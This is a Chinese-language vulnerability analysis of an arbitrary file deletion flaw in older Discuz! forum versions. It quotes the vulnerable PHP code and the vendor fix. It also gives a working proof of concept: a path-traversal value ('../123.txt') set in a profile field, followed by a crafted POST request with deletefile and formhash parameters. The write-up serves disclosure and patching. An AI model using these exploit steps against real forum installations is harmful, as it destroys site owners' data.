discuz<R20140619前台任意文件删除漏洞

漏洞版本

<= 2.5.R20140603
< 3.2.R20140618

漏洞描述

漏洞存在source\include\spacecp\spacecp_profile.php中,deletefile参数key值未过滤,导致通过控制key值可unlink任意文件。参考wooyun-2014-065513。

分析

source\include\spacecp\spacecp_profile.php文件中,GET方法获取deletefile的key值未做任何过滤,其中$space为用户资料数组,控制key值可删除任意文件,unlink目录为data\attachment\profile\。

1
2
3
4
5
6
7
8
9
if($_GET['deletefile']) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key]) ) {
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $setarr[$key] = '';
}
}
}

构造请求中source\class\helper\helper_form.php中submitcheck会检查formhash参数

1
if($allowget || ($_SERVER['REQUEST_METHOD'] == 'POST' && !empty($_GET['formhash']) && $_GET['formhash'] == formhash() && empty($_SERVER['HTTP_X_FLASH_VERSION']) && (empty($_SERVER['HTTP_REFERER']) || strncmp($_SERVER['HTTP_REFERER'], 'http://wsq.discuz.qq.com', 24) === 0 || strncmp($_SERVER['HTTP_REFERER'], 'http://m.wsq.qq.com', 19) === 0 || preg_replace("/https?:\/\/([^\:\/]+).*/i", "\\1", $_SERVER['HTTP_REFERER']) == preg_replace("/([^\:]+).*/", "\\1", $_SERVER['HTTP_HOST']))))

漏洞利用
  1. 修改用户个人资料如情感状态为../123.txt;
  2. post请求包
    127.0.0.1/dz3.1/home.php?mod=spacecp&ac=profile&op=base&deletefile[affectivestatus]=111
    data:formhash=286ffdbd&profilesubmit=true
    可成功删除data\attachment下123.txt文件。
漏洞修复

source\include\spacecp\spacecp_profile.php

1
2
3
4
5
6
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') {
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
......

增加了[$key][‘formtype’] == ‘file’过滤,space都是非file类型。